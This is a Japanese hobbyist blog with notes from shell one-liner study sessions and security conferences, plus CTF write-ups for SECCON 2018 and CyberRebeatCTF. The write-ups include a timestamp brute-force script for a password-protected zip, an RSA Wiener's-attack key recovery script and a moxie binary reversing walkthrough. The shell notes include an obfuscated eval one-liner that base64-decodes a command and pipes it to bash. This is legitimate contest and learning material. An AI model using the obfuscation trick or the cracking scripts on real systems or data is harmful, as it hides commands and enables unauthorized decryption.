$ echo -e "a\nb\nc"|shuf -rn3
b
b
a
このやり方は重複順列ですね。aaaとかbbbもあり得ます。
Unicode正規化¶
私も以前から困っていた件なので、Unicode正規化シェル芸を作っていました。
記号と1,2,A,zでだけで作る難読化シェル芸¶
LTしました。難読化シェル芸の集大成!
以下に詳細をまとめています。¶
ワタナベ難読化シェル芸¶
隊長さんのワタナベエンコードが夢のバージョンアップ!
マルチバイト文字対応でもはや死角なし
そしてowariコマンド、意外に業務で使えそうなユースケースがあって草草
owari 楽しい #シェル芸 pic.twitter.com/I9QPImhUts
— so (@3socha) 2019年2月16日
ソースはこちらだそうです
https://gihub.com/xztaityozx/owari
その他¶
えびボクサー、かにゴールキーパー、いかレスラーなど(なんだこれwww)
えびボクサーの本編は配信されていないが、予告編はあった。
— 横田真俊 @Wslash February 17
「いまだかつて、こんな映画を見た事があるか」という煽りで笑う。
『えびボクサー』 予告編https://t.co/nfoWhY1t3J
jus共催 第39回年末シェル芸勉強会 と SECCON 2018 Akihabara に参加しました
最近イベントが重なった結果、ブログも一記事になっちゃう仕方ないね。
jus共催 第39回コートなしで自宅から締め出されたりしないでね年末シェル芸勉強会¶
jus共催 第39回シェル芸勉強会リンク集 | 上田ブログ¶
null
jus共催 第39回コートなしで自宅から締め出されたりしないでね年末シェル芸勉強会¶
2018年12月22日さくらインターネットさんのセミナールームにて。ハイライト:・鳥海さんの面白い話が終わらないので年を越して次回もやることになった・シンガポールから参戦@東京会場・何気ない「今回..
午後はSECCONに行ったので、断腸の思いで午前だけ参加したのだが、午後も知見に溢れており、やはり体が2つ欲しかった。
知見¶
pup¶
htmlをインプットにjQueryのようにDOMを操作できるコマンド
pup
https://github.com/EricChiang/pup
こんな感じで使う。テーブルからリンクを抜き出すとか。
$ curl -s https://news.ycombinator.com/ | pup 'table table tr:nth-last-of-type(n+2) td.title a attr{href}' https://github.com/e-oj/Magic-Grid from?site=github.com https://torrentfreak.com/canada-prohibits-piracy-settlement-demands-in-isp-copyright-notices-181218/ from?site=torrentfreak.com http://www.gurobi.com/company/news/announcement from?site=gurobi.com ・ ・ ・ ・
スクレイピングにも一役買いそう。すごい便利そう。
ワタナベ難読化シェル芸¶
発想が天才のそれ
腹痛いwwww
【邊邊邊邉】ワタナベ難読化シェル芸と辺エンコーディングの誕生【辺辺辺辺】¶
@xztaityozx_001 氏の難読化シェル芸新作からTwitterでも使える斬新なエンコーディング方式が誕生。第39回シェル芸勉強会の大阪LTにて。シェル芸勉強会本編はこちら()
クソコラを作ってしまった。。
SECCON中に突然アイデアが降ってきて作らずにはいられなかった。しばらくそれしか考えられなかった。
リビドーを抑えきれなかった。
クソコラを作ってしまった。。 #シェル芸 #ワタナベ難読化シェル芸
— kanata (@kanata201612) 2018年12月23日
リビドーを止められなかった pic.twitter.com/sCT8eujR96
ユニコード戦記 ─文字符号の国際標準化バトルは面白そう¶
鳥海さんに「読んだ?読んだ?」と聞かれて煽られてしまったので、早めに読まねば
ちなみに近所の図書館は貸し出し中。げふん
SECCON 2018 Akihabara¶
今年の決勝大会は秋葉原
SECCON 2018 Akihabara 2018.12.22(sat)-23(sun)¶
情報セキュリティをテーマに多様な競技を開催する情報セキュリティコンテスト SECCON。2018年12月22-23の2日間秋葉原で行われるSECCON2018 Akihabaraの情報ページです。
私達のチームは予選落ちだったので、ずっとカンファレンスの方を聞いてた。
面白かったのは、フリーダムなLTのssmjpと、Tsurugi Linux、radare2のやつでした。
2019年はssmjp登壇を目標にしたいと思いまし
radare2¶
スーパーバイナリ解析ツール
$ r2 /bin/ls # 起動
$ r2 -w /bin/ls # 起動(ファイル書き込み許可)
$ r2 -d /bin/ls # 起動(デバックモード)
$ r2 -N /bin/ls # 起動(設定ファイル無しで起動)
$ r2 - # Alias for r2 malloc://512
$ r2 -- # ファイルなしで起動
s # seek px # print hexdump pd # print disassembly wx # write hexpairs wa # write assembly aa # analyse all (aaaもある) q # quite V # Visual mode VV # Access graph view (Move hjkl,Zoom +/-) e as.describe=true # Add ASM description e scr.color=3 # Enable truecolor e scr.utf8=true # Use UTF-8 e io.cache=true # Enable temporary write db # Set breakpoint dc # continue execution ds # step
詳細はRadare2参照
その他¶
友人にめっちゃ日本酒とお料理美味しいお店教えてもらった
そのうちまた行きたい
昨日は友人と豪遊してしまった pic.twitter.com/bwJhK3ptbQ
— kanata (@kanata201612) 2018年12月23日
jus共催 第38回҈҈҉҈҈҉シ҈҉ェ҈҉ル҈҉芸҈҉勉҈҉強҈҉会 と AVTOKYO に参加しました
jus共催 第38回҈҈҉҈҈҉シ҈҉ェ҈҉ル҈҉芸҈҉勉҈҉強҈҉会¶
私の所業でググられビリティを下げてしもたw
jus共催 第38回シェル芸勉強会リンク集 | 上田ブログ¶
null
jus共催 第38回҈҈҉҈҈҉シ҈҉ェ҈҉ル҈҉芸҈҉勉҈҉強҈҉会¶
シ҈҉ェ҈҉ル҈҉芸҈҉勉҈҉強҈҉会です。2018年11月3日さくらインターネットさんのセミナールームにて。問題と解答:
午後はAVTOKYOに行ったので、泣く泣く午前だけ参加したのだが、午後も知見に溢れており、やはり体が2つ欲しかった。
知見¶
SJISのポは"|"が含まれているポ系ダメ文字であり、難読化に応用できる。¶
素晴らしい
パイプレス難読化date
— たいちょー (@xztaityozx_001) 2018年11月3日
eval "$(__=$(nkf -sLux <(echo ポ));echo echo ZGF0ZQo=${__:1}base64 -d${__:1}bash)"#シェル芸
eval "$(echo echo ZGF0ZQo=$(grep -o . <(nkf -sLux <(echo ポ)))base64 -d$(grep -o . <(nkf -sLux <(echo ポ)))bash)"#シェル芸
— たいちょー (@xztaityozx_001) 2018年11月3日
例もモヤモヤしたキリル文字は数値の表現だった。ちなみに1000万と1億も存在する。¶
҈ U+0488 10万 ҉ U+0489 100万 ꙰ U+A670 1000万 ꙱ U+A670 1億
さらに拡張版。 #シェル芸 pic.twitter.com/gc7nlzku2l
— Hisatoshi Onishi (@hisa0211) 2018年11月3日
ユニコード戦記 ─文字符号の国際標準化バトルは面白そう¶
面白そう
AVTOKYO2018¶
言わずもがな毎年CODEBLUEの後に行われるセキュリティ系イベント(飲み会)
AVTOKYO2018 - AVTOKYO JP¶
AVTOKYO は コンピュータセキュリティについて真摯に語り合うコミュニティベースの日本のカンファレンスです。合言葉は「no drink,no hack」です。
メインのプレゼントと同時にOSINT CTF や ハードウェアハッキングのワークショップ、ツール紹介などがあり、これも体が足りない。
酒飲みながらLT聞くの大好きなので、ずっとメインのプレゼン聞いてた。
エナジードリンク交換会があったのに、忘れた痛恨のミス。非売品のレア物を持っているのだが~
そういえば、去年に比べてちょっとだけ英語が解るようになってきた気がする。毎日ちょっとずつ勉強してるかいがあったか。
頂いた入場カードはUSBメモリが仕込まれている。中身はTSURUGI Linux。
DEFT Linuxの開発者が作ったらものらしい。
TSURUGI Linuxのプレゼンは、途中でPCが強制WindowsUpdateを初めてスライドを映せなくなってた。これは怖い他人事ではない。
Forengicsの仕事はしていないけれど、OSINTツールも入っているっぽいので気になる。
メモリが入っているなんてわからないし、財布に入るし、スパイツールみたいでカッコイイです
SECCON 2018 Writeup
CTF Writeup SECCON 2018¶
結果&感想¶
某チームでSECCON2018に参加しました。
2問解きました。難しかった、そしてどの問題も重かった。
国内決勝上位12チームに入れるかどうかは、スコアボードに国名でないから何番かわかんないねw
期待しないで全裸で待ってる。
Forengics Unzip 101点¶
zipにはパスワードがかかっている。
makefile.sh
echo 'SECCON{'`cat key`'}' > flag.txt
zip -e --password=`perl -e "print time()"` flag.zip flag.txt
という訳でUnix通算秒がパスワードになってるはずですね。何時かわからんけど。
2018/10/27 0:10 の辺りだろうなと思ったんだけど、とりあえず現在時刻から過去に遡って総当たりしたら終わった。
#!/bin/bash
C=`date +"%s"`
while :
do
unzip -P $C flag.zip
if [ $? != 82 ]
then
echo "-------------------------------------------> $C"
echo $C >> timeline.txt
if cat flag.txt |grep SECCON
then
exit
fi
rm flag.txt
fi
: $((C--))
done
Archive: flag.zip skipping: flag.txt incorrect password Archive: flag.zip skipping: flag.txt incorrect password ・ ・ ・ Archive: flag.zip skipping: flag.txt incorrect password Archive: flag.zip inflating: flag.txt -------------------------------------------> 1540566641 SECCON{We1c0me_2_SECCONCTF2o18}
Reversing SpecialInstructions 262点¶
問題¶
Special Instructions Execute this file and get the flag. References: Assembly samples for many architectures http://kozos.jp/books/asm/cross-gcc494-v1.0.zip See the assembly samples. $ unzip cross-gcc494-v1.0.zip $ cd cross-gcc494/sample $ ls *.d See the sample programs running on GDB simulator. $ cd cross-gcc494/exec $ ls *.d
http://kozos.jp で作問者がわかってしまうw
調査¶
実行させるべく、まずはアーキテクチャを調べる。
$ file runme runme: ELF 32-bit MSB executable, *unknown arch 0xdf* version 1 (SYSV), statically linked, not stripped
0xdf…?こんなアーキあるのかなと思いましたが、チームの方がmoxieであることを教えてくれました。ありがたいです。
10進数になおして、223が Moxie processor family でした http://www.sco.com/developers/gabi/latest/ch4.eheader.html
さてこれを実行する環境ですが、作問者のお力を借りるのが最短ルートでしょう!
クロスコンパイル環境の構築はコンパイルに結構な時間を要します
熱血!/大熱血! アセンブラ入門 開発環境のVMイメージからVMイメージをダウンロードします。
SECCON2015にも他種類のCPUアーキテクチャの問題が出ていました。
ダウンロード後、以下で逆アセできます。
$ /usr/local/cross2-gcc494/bin/moxie-elf-objdump -d -M intel ./runme
逆アセしたのは、ここに置いておきます。
Reversing_SpecialInstructions_asm.txt
で、これ実行できないんですよね、gdbで実行しようとしても"Illegal instruction."って表示され、終了します
$ /usr/local/cross2-gcc494/bin/moxie-elf-gdb ./runme (gdb) target sim Connected to the simulator. (gdb) load Loading section .text, size 0x23e lma 0x1400 Loading section .rodata, size 0xb0 lma 0x1640 Loading section .data, size 0x60 lma 0x1800 Start address 0x1400 Transfer rate: 6768 bits in <1 sec. (gdb) run Starting program: /home/user/SECCON2018/Reversing_SpecialInstructions/runme Program received signal SIGILL, Illegal instruction. 0x0000154a in set_random_seed () (gdb)
原因は、ここ
0000154a <set_random_seed>: 154a: 16 20 bad 154c: 04 00 ret 0000154e <get_random_value>: 154e: 17 20 bad 1550: 04 00 ret
16と17の命令はmoxieに存在しません。
この命令をnopとかで潰して実行すると以下が出力されました。
This program uses special instructions. SETRSEED: (Opcode:0x16) RegA -> SEED GETRAND: (Opcode:0x17) xorshift32(SEED) -> SEED SEED -> RegA
16と17の命令は実装してね(はあと)って事ですね。
xorshift32¶
実装にあたって、xorshift32 から調べてみます。
wikipedia:https://ja.wikipedia.org/wiki/Xorshift
Xorshiftは疑似乱数列生成法の1つである。George Marsagliaが2003年に提案した。
Googleさんが採用してるやつかな?
Cの実装例が載っていました。最高です。
uint32_t xor(void) {
static uint32_t y = 2463534242;
y = y ^ (y << 13); y = y ^ (y >> 17);
return y = y ^ (y << 15);
}
アセンブラを読む¶
わからない命令はココで調べながら読みました。
解りやすいアーキでよかった。。
ざっくりこんな感じになっていました。
私の理解を#以降に書いています。
000015a2 <main>: 15a2: 06 18 push $sp, $r6 15a4: 91 18 dec $sp, 0x18 15a6: 01 20 92 d6 ldi.l $r0, 0x92d68ca2 # set_random_seedに渡す引数(SEED) 0x92d68ca2 15aa: 8c a2 15ac: 03 00 00 00 jsra 154a <set_random_seed> # set_random_seed関数呼び出し 15b0: 15 4a 中略 160c: 01 20 00 00 ldi.l $r0, 0x1800 # decode関数に渡す引数1 1610: 18 00 1612: 01 30 00 00 ldi.l $r1, 0x1820 # decode関数に渡す引数2 1616: 18 20 1618: 03 00 00 00 jsra 1552 <decode> # decode関数呼び出し 161c: 15 52 161e: 02 32 mov $r1, $r0 1620: 01 20 00 00 ldi.l $r0, 0x1 1624: 00 01 1626: 19 80 jsr $r6 1628: 01 20 00 00 ldi.l $r0, 0x1 162c: 00 01 162e: 01 30 00 00 ldi.l $r1, 0x167c 1632: 16 7c 1634: 19 80 jsr $r6 1636: 2e 22 xor $r0, $r0 1638: 03 00 00 00 jsra 144a <exit> 163c: 14 4a
00001552 <decode>: 1552: 06 18 push $sp, $r6 1554: 06 19 push $sp, $r7 1556: 06 1a push $sp, $r8 1558: 06 1b push $sp, $r9 155a: 06 1c push $sp, $r10 155c: 06 1d push $sp, $r11 155e: 91 18 dec $sp, 0x18 1560: 02 d2 mov $r11, $r0 # $r11 = $r1(最初が0x1800) 1562: 1c 42 ld.b $r2, ($r0) 1564: 2e 22 xor $r0, $r0 1566: 0e 42 cmp $r2, $r0 1568: c0 12 beq 158e <decode+0x3c> # if $r2 == $r0 then return 156a: 02 a3 mov $r8, $r1 # $r8 = $r1(最初が0x1820) 156c: 02 9d mov $r7, $r11 # $r7 = $r11 156e: 01 c0 00 00 ldi.l $r10, 0x154e # $r10 = 0x154e 1572: 15 4e 1574: 1c 8a ld.b $r6, ($r8) # $r6 = 0x1820の中身 1576: 2e 22 xor $r0, $r0 # $r0 = 0 1578: 19 c0 jsr $r10 # $r0 = 乱数取得32bit 157a: 2e 82 xor $r6, $r0 # $r6 = $r6 xor $r0 157c: 1c 29 ld.b $r0, ($r7) # $r0 = 0x1800の中身 157e: 2e 82 xor $r6, $r0 # $r6 = $r6 xor $r0 1580: 1e 98 st.b ($r7), $r6 # 0x1800の中身 = $r6 1582: 89 01 inc $r7, 0x1 # $r7 = 0x1800++ 1584: 8a 01 inc $r8, 0x1 # $r8 = 0x1820++ 1586: 1c 39 ld.b $r1, ($r7) # $r1 = 0x1800++の中身 1588: 2e 22 xor $r0, $r0 # $r0 = 0 158a: 0e 32 cmp $r1, $r0 158c: c7 f3 bne 1574 <decode+0x22> # if $r1 != NULL then goto 0x1574 158e: 02 2d mov $r0, $r11 1590: 02 e0 mov $r12, $fp 1592: 9e 18 dec $r12, 0x18 1594: 07 ed pop $r12, $r11 1596: 07 ec pop $r12, $r10 1598: 07 eb pop $r12, $r9 159a: 07 ea pop $r12, $r8 159c: 07 e9 pop $r12, $r7 159e: 07 e8 pop $r12, $r6 15a0: 04 00 ret
という事で、以下の動きになっていることがわかりました。
- r6 = 0x1820の中身(1byte)
- r0 = 乱数32bit(4byte)
- r6 = r6 ^ r0
- r0 = 0x1800の中身(1byte)
- r6 = r6 ^ r0
- 0x1800と0x1820は1増やして、1の処理に戻る
0x1800と0x1820あたりに、どんな値が入っているか調べておきます。
(gdb) x/100x 0x1800 0x1800 <flag>: 0x6d 0x72 0xc3 0xe2 0xcf 0x95 0x54 0x9d 0x1808 <flag+8>: 0xb6 0xac 0x03 0x84 0xc3 0xc2 0x35 0x93 0x1810 <flag+16>: 0xc3 0xd7 0x7c 0xe2 0xdd 0xd4 0xac 0x5e 0x1818 <flag+24>: 0x99 0xc9 0xa5 0x34 0xde 0x06 0x4e 0x00 0x1820 <randval>: 0x3d 0x05 0xdc 0x31 0xd1 0x8a 0xaf 0x29 0x1828 <randval+8>: 0x96 0xfa 0xcb 0x1b 0x01 0xec 0xe2 0xf7 0x1830 <randval+16>: 0x15 0x70 0x6c 0xf4 0x7e 0xa1 0x9e 0x0e 0x1838 <randval+24>: 0x01 0xf9 0xc2 0x4c 0xba 0xa0 0xa1 0x08 0x1840 <randval+32>: 0x70 0x24 0x85 0x8a 0x4d 0x2d 0x3c 0x02 0x1848 <randval+40>: 0xfc 0x6f 0x20 0xf0 0xc7 0xad 0x2f 0x97 0x1850 <randval+48>: 0x2b 0xcc 0xa3 0x34 0x23 0x53 0xc9 0xb7 0x1858 <randval+56>: 0x0c 0x10 0x6c 0x0e 0xfa 0xf9 0xa1 0x9a 0x1860: 0x00 0x00 0x00 0x00
xorshift32ですが、乱数といってもシード固定の計算値なので、予め計算しておきます。
$ cat xorshift32.c #include <stdio.h> #include <stdint.h> uint32_t xor(void) { static uint32_t y = 0x92d68ca2; int i; for(i=0;i<40;i++) { y = y ^ (y << 13); y = y ^ (y >> 17); y = y ^ (y << 15); printf("%x\n",y); } return y; } main(void){ xor(); } $ gcc xorshift32.c ;./a.out 35c36d03 c8fa2132 9f72275c 3ed1ca90 e32b4951 1c29ac51 e5e39880 7f0f53f9 89d0b941 f5e6563d cbf769ad 4ba4dacc 49a432b2 c557954b 40a4eeb4 dd74800d ce2e86b7 2a1de9cb f6084259 70ff1d78 b93854d0 b5228d01 8b22df40 8b583725 e54151fb e45c5644 1e13e10e 6a399017 f63e5c0a bcd582d5 9ec62492 7e8849b8 ce8cf267 4dc3ba07 99204746 f619cfa2 3bc7e854 43540b32 d727aa2b 4fefdb1a
実装¶
ここまで判ったらシェルでシュッてできるんやで
solv.sh
#!/bin/bash
IFS='
'
LIST='
35c36d03 6d 3d
c8fa2132 72 05
9f72275c c3 dc
3ed1ca90 e2 31
e32b4951 cf d1
1c29ac51 95 8a
e5e39880 54 af
7f0f53f9 9d 29
89d0b941 b6 96
f5e6563d ac fa
cbf769ad 03 cb
4ba4dacc 84 1b
49a432b2 c3 01
c557954b c2 ec
40a4eeb4 35 e2
dd74800d 93 f7
ce2e86b7 c3 15
2a1de9cb d7 70
f6084259 7c 6c
70ff1d78 e2 f4
b93854d0 dd 7e
b5228d01 d4 a1
8b22df40 ac 9e
8b583725 5e 0e
e54151fb 99 01
e45c5644 c9 f9
1e13e10e a5 c2
6a399017 34 4c
f63e5c0a de ba
bcd582d5 06 a0
9ec62492 4e a1
7e8849b8 00 08
'
for LINE in $LIST
do
SEED=$(echo $LINE|awk '{print $1}')
x1800=$(echo $LINE|awk '{print $2}')
x1820=$(echo $LINE|awk '{print $3}')
printf %x $(((0x$x1800^0x$SEED)^0x$x1820))|cut -c7-|xxd -p -r
done
$ ./solv.sh SECCON{MakeSpecialInstructions}
おまけ¶
Forengics History の問題、タイトルがずっと Hisotry だったんだけど、いつの間にかひっそりと修正されていた件。
チームで盛り上がった(変に深読みしたw)
CyberRebeatCTF Writeup
CTF Writeup CyberRebeatCTF¶
- CTF Writeup CyberRebeatCTF
- 結果&感想
- Binary - SimpleBinary
- Crypto - Rotation
- Crypto FLAG.encrypted
- Misc - Readme
- Programing - Calculation
- Programing - Prime Factor
- Recon - Tweet
- Recon - CyberRebeatScripts
- Recon - I changed my history on Github!
- Stegano - secret.pdf
- Stegano - Alpha
- Stegano - Last 5 boxes
- Web - White page
- Web - Uploader
結果&感想¶
CyberRebeatCTF¶
Love UI Kit.
#CyberRebeatCTF 開催前まであんまり話に上がってこなかったし、チームメンバも集められなかったから
— kanata (@kanata201612) 2018年9月8日
よーし、こっそり参加して1位取っちゃうぞーとイキってたら
しっかり強豪チーム参加してるし、解けない問題あるしもう辛い
でも結構解けて3232点で26位。チーム一人にしては頑張った方では
writeupは、すごい簡単なヤツは省略しました
Binary - SimpleBinary¶
pedaでステップ実行するだけ
Crypto - Rotation¶
問題
P4P6S{9RN4RUNPXR45}
ROT13の亜種と踏んで対応表を作る
P4P6SはCRCTFになることが判っているので、それをヒントに
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ NOPQRSTUVWXYZ__________ABCDEFGHIJKLM P4P6S{9RN4RUNPXR45} CRCTF{WEAREHACKERS}
Crypto FLAG.encrypted¶
暗号文と公開鍵を渡される
公開鍵を見てみる
$ openssl rsa -text -pubin < public-key.pem Public-Key: (2048 bit) Modulus: 00:f7:aa:82:b3:38:65:4d:c5:5b:41:ce:6c:30:c2: 94:3f:12:eb:9c:4d:f0:90:24:fe:9d:77:31:90:9f: a8:fc:c8:92:78:7a:59:ab:cf:cf:5d:18:12:03:2e: 8f:9e:a7:5d:aa:d5:d5:6c:67:2b:ab:27:c8:bd:83: 93:f9:2b:b3:f8:e2:f2:e1:88:cb:db:a8:96:1b:35: e5:54:f5:ae:8a:c6:39:23:f9:a2:83:d9:00:a2:c5: 41:32:6d:81:12:15:6e:fe:d5:57:c1:dc:09:05:39: f6:d6:c5:d0:76:25:97:dc:13:d8:b6:e9:2a:ed:24: dc:a7:88:c0:64:cb:df:b8:c6:d4:da:7f:ba:77:70: 9e:27:70:11:19:bb:d1:24:b9:fc:9e:ac:e7:95:d4: 7d:24:46:15:6e:99:a9:c7:96:3d:ed:d6:77:63:38: 70:8f:0e:6f:ee:3a:90:80:4f:d6:d5:b4:67:e0:98: d7:a0:e2:f0:cc:90:70:92:f6:7e:68:14:b9:8a:aa: fb:df:82:a4:25:04:35:b1:a2:eb:0f:98:5e:18:49: 06:b0:53:8c:30:0d:7a:d5:fd:62:36:5e:73:5e:a2: c8:2b:6e:0a:98:47:e4:ab:22:07:67:88:ea:c8:68: a0:17:23:3d:12:6b:2c:0a:5c:8c:fe:a5:65:c0:f6: cf:9d Exponent: 00:b4:57:8e:b1:c5:f8:c4:7c:07:69:4e:2a:45:96: 97:6d:ac:84:35:01:56:ed:1e:03:f7:c1:2b:30:79: c0:34:58:b3:e2:dd:94:49:91:fb:de:89:5c:66:f8: ad:9a:7a:f8:7a:7e:2d:14:b4:d0:60:cb:d1:7c:c3: 55:b5:4c:86:5d:cc:74:f7:03:f7:b2:e2:20:4e:0d: 60:2d:01:63:8f:b3:6e:ae:ec:89:9a:d7:22:56:90: 7e:e5:32:2e:80:b8:b2:58:95:58:9f:1c:e6:bd:1c: a9:8c:38:53:82:07:b1:69:69:01:8f:8c:2f:0e:a5: 3c:96:64:0d:00:3f:2b:57:af:3e:e0:96:52:44:a9: d3:72:43:2b:5b:3a:41:32:50:8b:70:ce:05:17:60: fb:9e:5f:70:b9:c9:cb:0e:56:eb:0b:7f:c2:04:d4: eb:b8:68:3b:b8:e5:c6:4a:49:b4:7b:c6:c9:2b:d0: 5c:bf:ae:b8:f6:aa:35:0a:48:e3:0a:4b:5b:9d:c8: 33:7f:6b:96:46:29:52:01:89:83:13:cf:cf:4f:a7: 0f:0b:c1:d8:fc:d1:1a:0b:e9:6e:4a:16:32:76:f9: 96:57:63:d5:fc:9c:fd:a7:26:0d:40:2d:2c:bd:f1: 73:b4:bf:74:61:10:30:71:3b:4f:8d:5f:5b:ef:e7: 33:e1 writing RSA key -----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAQEA96qCszhlTcVbQc5sMMKU PxLrnE3wkCT+nXcxkJ+o/MiSeHpZq8/PXRgSAy6PnqddqtXVbGcrqyfIvYOT+Suz +OLy4YjL26iWGzXlVPWuisY5I/mig9kAosVBMm2BEhVu/tVXwdwJBTn21sXQdiWX 3BPYtukq7STcp4jAZMvfuMbU2n+6d3CeJ3ARGbvRJLn8nqznldR9JEYVbpmpx5Y9 7dZ3Yzhwjw5v7jqQgE/W1bRn4JjXoOLwzJBwkvZ+aBS5iqr734KkJQQ1saLrD5he GEkGsFOMMA161f1iNl5zXqLIK24KmEfkqyIHZ4jqyGigFyM9EmssClyM/qVlwPbP nQKCAQEAtFeOscX4xHwHaU4qRZaXbayENQFW7R4D98ErMHnANFiz4t2USZH73olc Zvitmnr4en4tFLTQYMvRfMNVtUyGXcx09wP3suIgTg1gLQFjj7NuruyJmtciVpB+ 5TIugLiyWJVYnxzmvRypjDhTggexaWkBj4wvDqU8lmQNAD8rV68+4JZSRKnTckMr WzpBMlCLcM4FF2D7nl9wucnLDlbrC3/CBNTruGg7uOXGSkm0e8bJK9Bcv6649qo1 CkjjCktbncgzf2uWRilSAYmDE8/PT6cPC8HY/NEaC+luShYydvmWV2PV/Jz9pyYN QC0svfFztL90YRAwcTtPjV9b7+cz4Q== -----END PUBLIC KEY-----
e(Exponent:の所)がめちゃめちゃデカイ(通常は、60000とかそんなオーダー)ので、Wiener's Attackという方法で秘密鍵を作ることができる
という訳でココを参考にする(これを解くpythonスクリプトが公開されている)
RSAwienerHacker.py
'''
Created on Dec 14, 2011
@author: pablocelayes
'''
import ContinuedFractions, Arithmetic, RSAvulnerableKeyGenerator
def hack_RSA(e,n):
'''
Finds d knowing (e,n)
applying the Wiener continued fraction attack
'''
frac = ContinuedFractions.rational_to_contfrac(e, n)
中略
if __name__ == "__main__":
#test_is_perfect_square()
#print("-------------------------")
#test_hack_RSA()
e=22766071057080311941289025090582171055356241374729867687887721165996480747230400879635593368509050250879664911119593845131632736205037337764476149970317207453325852306744743355843865620488975017552101697514723815810433086583097066849281143179649731453788074604410013059110037363738062212112776408805474047616975914133565204728262194785129197335550911873746857764241100489778203898866941412395489839653170240092405989209278646213522785197290066584628647242197250525516210135602818305240062919066210956719110372916047407851800476348031106117342132809755720425300509425412742257946576118121595189882915440991231610926049
n=31264943211208004265136257812922871300684039354012330190834942986731934389912197706421706868451670101634969269274623828581050676733228020854883441494567900924428451571798331504026565707472121772002140681756280190535290943933921834846379665606960802397274296703426557981596105415677658499356618548233939389723076124471098440146923189296244078349641695576997335766674231277153794543785116533620076935082137870329278026757983028280620935089387958708697459641119539250284149601503334899598799831125405703179815161182156366487341348125463136351944709488739527831476641990338237417959538685045943046162779336438891834429341
c=24567627059377562868105614484423886273024535858360108293709261679303974926550497189439318672624908577264506046476457095137786384831468525272589929094908337881436149324019794812804219891902253459573562430438939521995518048214801992716419439933946327566830472479815195083586095517593863373723430345120492159440493853454549917293994609440452210512119496727038202944137382941943646738720300878617094056966029945525818099278253655536613076435706468907044890014106958504434142807788873217030828773024692575731383406593586446571051817010298103654965540184106091735284849357722355533064377719568465964571451310703450179760412
hacked_d = hack_RSA(e, n)
m=pow(c, hacked_d, n)
print m
print("%0512x" %m).decode("hex")
出た
$ python RSAwienerHacker.py Hacked! 11405121556080574200507976540560550567250962398176989090968706090657735628827286003460256776456266696526501583189995873715586019586481188841669553558064962347526003585805296128704234019155927711938147927921799855258102900099957024052894182297906442193293573956451926259091091855321350867274034175705817860160056101092426800441790539634641631263205085840727897980883608411419899029774809300174380547858121642152179538920767606647604516848492915723070085962700864043872803063238370675580861448504677111372925814117825694429346520229939794702430188586491323156507194176,`/nIPSG766*|,zso123097695888071358419235048714 Dx abyb}0<ƁOGK} B."Yϱ 2:JY\ umU2y*4ԄqquᯖwL CRCTF{On that day, there was definitely something behind Warlock's disappearance.}
Misc - Readme¶
気合で読む、こんな感じ
Programing - Calculation¶
nc 59.106.212.75 8080
こういう問題文。繋ぐと計算式が表示されて、計算結果を返すのを繰り返す
みんな好きな言語でプログラミングすると思うんだけど、こういうのシェルスクリプトでサクッといけるんやで
#!/bin/sh
exec 5<>/dev/tcp/59.106.212.75/8080
for I in {1..101}
do
cat 0<&5>test.txt &
sleep 1
pkill cat
ANSWER=`cat test.txt|tail -1|sed 's/=//g'|tr -d $'\357\273\277'|bc`
echo ${ANSWER} >&5
echo Debug [${I}] $(cat test.txt) '=' ${ANSWER}
done
exit 0
Programing - Prime Factor¶
Answer the maximum prime factor. nc 59.106.212.75 8081 example: Question:120 Answer:5 (Prime Factors: 2, 3, 5)
こういうのもシェルスクリプトでサクッといけるんやで(2回目)
#!/bin/sh
exec 5<>/dev/tcp/59.106.212.75/8081
for I in {1..101}
do
cat 0<&5>test.txt &
sleep 1
pkill cat
ANSWER=`cat test.txt|tail -1|sed 's/=//g'|tr -d $'\357\273\277'|factor|awk '{print $NF}'`
echo ${ANSWER} >&5
echo Debug [${I}] $(cat test.txt) '=' ${ANSWER}
done
exit 0
Recon - Tweet¶
Let's check our official twitter account!
はい
CRCTF{CyberRebeatCTF_has_started!}
— CyberRebeat (@CyberRebeat) 2018年9月8日
Recon - CyberRebeatScripts¶
Do you know Github?
調べると出てくる
https://github.com/ennach/CyberRebeatScripts
これを git clone して、git log -p する
commit 86cc1779522ad0708ad0b829935b08ac42b2588d Author: ennach <ennach@gmail.com> Date: Tue Sep 4 22:38:27 2018 +0900 delete FLAG diff --git a/chapter1-1en.txt b/chapter1-1en.txt index db0ded3..a16cc12 100644 --- a/chapter1-1en.txt +++ b/chapter1-1en.txt @@ -98,7 +98,6 @@ "Hiro, I'll take the lady to go." "Neko-san already did that joke." @erase_chara -@FLAG=CRCTF{I cut down her gag in a single strike}
Recon - I changed my history on Github!¶
I changed my history on Github!
ちょっとハマった。該当のリポジトリ
https://github.com/ennach/ChangeHistory
消されたコミットIDは、このページから解る
[ToDo] I committed the FLAG by mistake!
That commit hash is c476614bc439fe1910e494422b3aa207b776d486 I have to remove it!
無かった事にされたコミットIDは、git cloneしても持ってこれない
ただGitHub上にはあるという事を以下のサイトで知った
No Purpose - GitHub、消えたコミットを追え
http://highwide.hatenablog.com/entry/2015/02/06/204552
という訳で、以下にアクセスすると解る
https://github.com/ennach/ChangeHistory/commit/c476614bc439fe1910e494422b3aa207b776d486
+ からあげとご飯を皿に移し、電子レンジへ放り込む。 + ちなみにこの電子レンジ、家電の中でも特に魔改造が施されていて、インターフェースまわりは原形を留めてすらいない。代わりにメインの組み込み系がクラックされていて、通常は使用できないモードや機能が使えるようになっているのだという。 + なんの役にも立たないし、使う気もないのでそちらの機能を試したことは一度もないが。 +「この量なら2分くらいかな」 + コマンドラインを呼び出し、電子レンジに命令を送る。条件はデフォルト、ただしタイマーのみ120sに設定。実行コマンドを入力して送信すると、ノータイムで目の前の電子レンジが回り始めた。 + まるで隣の家に宅配便を送るみたいな迂遠さだ。 +「これ、もっとどうにかならないの?」 +「CRCTF{the timer is set to 120 seconds}」
Stegano - secret.pdf¶
黒塗りされたpdfが渡される
コピペで中身見れる
FLAG is CRCTF{I don't know of a time without the internet}
Stegano - Alpha¶
これに何か入っているらしい
色んな画像ソフトで画質調整すると、おそよ文字っぽいものが見えるのだけど、男性の部分が邪魔して全体が見えない
png画像のアルファチャンネルだけ上手く抽出できれば良さそうなのだけれど、その方法に難儀していた
うさみみハリケーンの付属ソフト「青い空を見上げればいつもそこに白い猫」で解析できることが解った
うさみみハリケーン Ver 0.28 最新オンラインヘルプ - ステガノグラフィーの解析について
https://digitaltravesia.jp/usamimihurricane/webhelp/_RESOURCE/MenuItem/another/anotherAboutSteganography.html
と、言うわけで「青い空を見上げればいつもそこに白い猫」使うと解る
